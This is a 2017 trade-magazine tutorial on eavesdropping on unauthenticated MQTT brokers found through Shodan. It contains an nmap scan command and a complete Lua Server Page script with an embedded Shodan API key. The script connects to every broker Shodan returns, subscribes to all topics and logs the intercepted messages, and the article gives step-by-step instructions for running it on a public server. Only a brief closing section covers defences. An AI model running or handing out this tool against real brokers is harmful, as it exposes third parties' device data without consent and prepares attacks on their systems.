How to hack IoT devices from your couch

October 13, 2017 Wilfred Nilsen, Real-Time Logic

Hacking IoT devices is not as difficult as you may think. There are plenty of devices online that are vulnerable to external hacking over the Internet. Get comfortable on your favorite couch or chair with a phone, tablet, or laptop. This tutorial will show you how to eavesdrop on hundreds of IoT devices without even installing special software on your computer.

A hacker typically performs the following steps:

  1. Reconnaissance, scan, and identify
  2. Penetrate, eavesdrop, and learn
  3. Active attack

Active attack is a criminal offense, so we will limit ourselves to peeking into open doors. And yes, there are plenty of open doors.

MQTT

There is a plethora of IoT protocols, and each IoT protocol requires different attack vectors. MQTT is, by default, not secure, and many MQTT deployments seem to have missed the fine print when it comes to using MQTT securely. So let's exploit it.

MQTT is a so-called publish/subscribe protocol that enables one-to-many communication via an MQTT broker. Being able to communicate with all devices connected to the broker facilities active attacks on a grand scale. An attacker that is able to eavesdrop and learn what type of messages are being sent via the broker can later use this information to simultaneously attack all of the devices connected to it.

MQTT has a feature called wildcard subscription, and many MQTT users miss the implications of this on security. A default MQTT deployment with no authorization enables any connected client to subscribe to all messages, and an attacker can use this information to learn about and log every message exchanged in an IoT solution.

Finding MQTT brokers

Since MQTT brokers listen on a port number, a simple port scanner can find the broker. The device search engine Shodan now includes searches for MQTT brokers, and we can use a free Shodan account to find a limited set of brokers.  A real hacker would look for as many brokers as possible by using a port scanner such as nmap. The following command would be able to find many more devices than our simple setup: 

nmap –sS –sV –v –p 1883,8883 –oA mqtt-scan IPRANGE

Exploiting MQTT solutions using an online scripting tutorial

The exploit code we have prepared can be copied as is and pasted into a scripting tutorial running on an online server. The online server will then perform the exploit. The scripting tutorial is for the Barracuda App Server running on an online virtual private server (VPS).

The Barracuda App Server includes the Lua scripting language, and the exploit code is a Lua script designed to run as a single web page on this server. A web page that includes Lua is known as a Lua Server Page (LSP), which enables us to include both HTML and JavaScript code for the browser (client side) and Lua code for the server side.

The LSP page initially returns a web page with embedded JavaScript code. The returned web page and its JavaScript code implement a basic web console that is used for dumping all data received from the connected MQTT brokers directly into the browser window.

The JavaScript code starts executing as soon as the page loads and immediately establishes a WebSocket connection with the server. A Shodan HTTP/REST request for MQTT broker search is initiated when the LSP page, executing at the server side, receives the WebSocket connection request from the browser. Shodan returns a list of brokers in JSON format. The server code then iterates this list and creates an MQTT client for each MQTT broker in this list. The server code then waits for MQTT data and funnels all received MQTT data over the WebSocket connection to the browser.

The number of MQTT clients created (depicted as N above) depends on how many broker IP addresses Shodan returns. We are using a non-paid Shodan service, which gives us access to one search page.

All successful broker connection requests go on to subscribing to the MQTT wildcard topic "#", which means that we are subscribing to all topics (all messages) exchanged via the broker. In other words, the server side LSP code will receive a copy of all MQTT messages exchanged via the broker, and will do so for each connected broker. This can create a substantial amount of traffic, and all this traffic is funneled to the browser via one WebSocket connection.

The complete code, that can be copied and executed on the online server is below:

<html>
  <head>
    <script src="/rtl/jquery.js"></script>
    <script>
       $(function() {
           function print(txt) {
               $("#console").append(txt+"\n");
               window.scrollTo(0, document.body.scrollHeight);  
           };
           var host = "<?lsp=request:url():gsub("^http","ws")?>";
           var s;
           try { s = new WebSocket(host); } catch(e) {}
           if( ! s ) {
               print("WebSocket not supported");
               return;
           }
           s.onopen = function() {
               print("WebSocket connected. Waiting for Shodan response.");
           };
           s.onmessage = function (e) {
               if(e.data instanceof Blob) {
                   var f = new FileReader();
                   f.onload = function(e) { print(e.target.result) };
                   f.readAsText(e.data);                   
               }
               else {
                   print(e.data);
               }
           };
       });
    </script>
  </head>
  <body>
  <pre id="console"></pre>
  </body>
</html>
<?lsp
local key="LCECSFJG9az4SLw6T5O7ejcZ2lzTrqIB"
local url="https://api.shodan.io/shodan/host/search"
local mqttT={} -- List of all MQTT clients
local ws -- WebSocket
local file -- file where we dump the output
local function onpub(info, msg) -- MQTT publish callback
   if file then
      file:write(info) file:write"\n" file:write(msg) file:write"\n"
   end
   local ok,err = ws:write(info, true)
   if not ws:write(info,true) or (#msg > 0 and not ws:write(msg)) then
      for _,mqtt in pairs(mqttT) do mqtt:disconnect() end
      if file then file:close() file=nil end
   end
end
local function startMQTT(ip, info) -- Create and connect one MQTT client
   ba.socket.event(function()
      local mqtt,err=require"mqttc".connect(ip, function(topic,msg)
         onpub(string.format("%s: %s: %s",info,ip,topic), msg) end)
      if mqtt then
         table.insert(mqttT, mqtt)
         mqtt:subscribe("#") -- Muahahaha
         mqtt:run()
      end
   end)
end
if request:header"Sec-WebSocket-Key" then -- If a WebSocket request
   ws = ba.socket.req2sock(request) -- Upgrade to a WebSocket connection
   if ws then
      -- Create an HTTP object and send an MQTT query to Shodan
      local http = require"httpm".create{shark=mako.sharkclient()}
      http:timeout(60*1000) -- Shodan can be slow
      local rsp,err = http:json(url, {key=key,query="mqtt"})
      if rsp and rsp.matches then -- If JSON response OK
         file = _G.io.open(string.format("/tmp/mqtt%d.txt",ba.rnd()),"w")
         ws:event(function() while ws:read() do end end, "s")
         for k,v in ipairs(rsp.matches) do
            startMQTT(v.ip_str,v.org)
         end
         return -- OK
      end
      ws:write("Shodan response err: "..(err or "unknown"))
   end
   return -- Done
end
response:setheader("x-xss-protection","1; mode=block")
response:setheader("content-security-policy",
"default-src 'self'; connect-src http: https: ws: wss:; script-src 'self' 'unsafe-inline'")
response:setheader("x-frame-options","SAMEORIGIN")
response:setheader("x-content-type","nosniff")
?>

Line 1 to 36 is the initial HTML page returned to the browser. The print function, on line 6, appends text to the HTML PRE element on line 34. Line 12 opens a WebSocket connection to the server side LSP page by using an absolute URL. The absolute WebSocket URL (URL starting with ws://) is calculated at the server on line 10. The WebSocket onmessage callback function on line 20 dumps all received data to the web console by calling function print. The server side sends topic names as WebSocket strings and MQTT payload data as a binary WebSocket frame. We attempt to convert the binary data to text by using a FileReader. MQTT payload data is typically binary, but may include JSON data and/or text that can be printed.

The Lua code starting at line 39 executes at the server side. Function onpub, on line 47, is called for each MQTT message received by any of the MQTT clients. The function dumps the received data into a file and sends the data over the WebSocket connection to the browser. The function also closes all MQTT client connections in the event that the one WebSocket connection with the browser go down. Data will keep pouring in until you close the browser window. Closing the browser window is the only way you can stop all MQTT clients.

Function startMQTT on line 57 is called for each broker IP address returned by Shodan. The function creates and connects an MQTT client on line 59 by using the MQTT Lua Module. The anonymous callback function passed into the MQTT client on line 60 assembles network information, broker IP address, and topic into one string. This information and the MQTT payload data is then sent to function onpub on line 46. We subscribe to the MQTT wildcard topic '#' on line 63 if connecting to the broker succeeds (i.e.,  if no password is required).

The Mako Server supports both blocking and non-blocking sockets. Fully non-blocking sockets are called cosockets, a technology based on Lua's coroutines. Cosockets enable us to write sequential (non-callback/event-based) code that internally uses non-blocking sockets. Cosockets enable us to easily scale up a large amount of connections without using complex callback logic. Sockets in the Mako Server are blocking by default, but can be converted to cosockets. Function ba.socket.event (line 58) wraps the complete connection and socket operation into a non-blocking cosocket. The MQTT client run method on line 64 runs in the scope of a coroutine and does not return until the connection closes. All MQTT connections are closed on line 52 when the WebSocket connection is closed.

The code section starting on line 71 is initiated if the browser sends a WebSocket request. The HTTP request is converted/upgraded to a WebSocket connection on line 71 (note: if it is not a WebSocket request, the web page is returned to the browser).

The Shodan developer API for searching requires that we send an HTTPS request. An HTTPS (secure HTTP) client object is created on line 74. The Mako Server internally uses an SSL stack called SharkSSL. The attribute shark must be set to a SharkSSL object, and the Mako Server provides a ready-to-use object via function mako.sharkclient(). The HTTP client library has built-in support for JSON, and we get a parsed JSON object as a return value when we call http:json on line 76.

The code line 78 to 83 is executed if we get a successful response from Shodan. We open a file for writing in the /tmp/ folder. Received data is dumped to this file on line 48.

We mentioned above that a socket defaults to blocking mode. We must make sure that the WebSocket is converted to a non-blocking cosocket. We do this on line 79 by calling ws:event. The anonymous function passed in as argument is the cosocket. The browser does not send any data over the WebSocket connection, but a socket dispatch loop is required for all cosockets. The cosocket loop simply waits for the socket to close. When the socket closes, the loop breaks and the cosocket exits. We do not use the socket-receive side for detecting when the WebSocket connection closes. This is instead done on line 51 when we write data to the WebSocket.

The final step is to loop over the list of brokers returned by Shodan (line 80) and to call function startMQTT for each broker in this list.

Executing the MQTT exploit

The online Lua tutorial is also open to abuse since it enables anyone to execute any type of code on the server. For this reason, the online Lua tutorial is designed to be re-installed every hour. Read the introduction, limitations, and warnings provided by the online server prior to running the MQTT exploit below. Navigate to  http://embedded-app-server.info and read the introduction.

  1. Copy the above code.
  2. Navigate to http://embedded-app-server.info/ide.lsp (optional video).
  3. Click OPEN LSPAPPMGR.
  4. Click the New Application Tab, select "Home" for file system, and click Browse.
  5. Right click the top folder, create a new folder, and double click the folder to select it.
  6. Click Submit to create a new application, and submit on the next page to use the default settings.
  7. Click Start to start the new application.
  8. Click the Edit button, which brings up the web-based editor.
  9. Double click on the pre-generated index.lsp file and erase the default code in this file.
  10. Paste the code from step one into the editor.
  11. Click Open to run the code in a separate window.
  12. You should see the text: Waiting for Shodan response.
  13. After some time, MQTT data should start pouring in.
  14. Keep the program running as long as you want.
  15. Stop the server-side code by closing the browser window.
  16. Navigate to the online server's tmp folder and download a copy of the MQTT dump (named mqttXX.txt, where XX is a random number).

Note: Shodan requires a key and the key embedded in the above code on line 39 may not work. Sign up for your own key if you get an error message. Shodan can be slow, so be patient when you see the initial text in the browser.

How to safeguard an MQTT Solution

The above Lua script is designed to exploit MQTT brokers with no client authentication requirements. However, in my previous article,  "Have we forgotten what the ancients taught us in building defense systems," I emphasize the importance of using multiple defenses in IoT solutions.

In order to safeguard an MQTT solution against hackers, a few steps are required. First, an MQTT solution should not be used without authentication. Second, to protect the solution against compromised devices and leaked passwords, the solution must use authorization. You must use an MQTT broker that enables you to easily enforce strict authorization.

Wilfred Nilsen, Founder & CTO of Real Time Logic, has 27 years of experience in designing embedded network software. Motivated by a vision of a connected embedded systems, he designed the Barracuda App Server with its suite of secure IoT protocols, tailoring it for the small footprint, real-time needs of embedded microcontrollers and microprocessors.

Previous Article
GMS develops multi-domain server/switch/router and mobile battlefield data center
GMS develops multi-domain server/switch/router and mobile battlefield data center

GMS has launched two products aimed at the military space, each adding significant capabilities to the batt...

Next Article
Trusted MCUs for IoT applications
Trusted MCUs for IoT applications

Secure MCUs should offer multiple levels of security elements to support various security algorithms like A...

How to Develop Cross-Industry IoT Interoperability

Multi-Part Series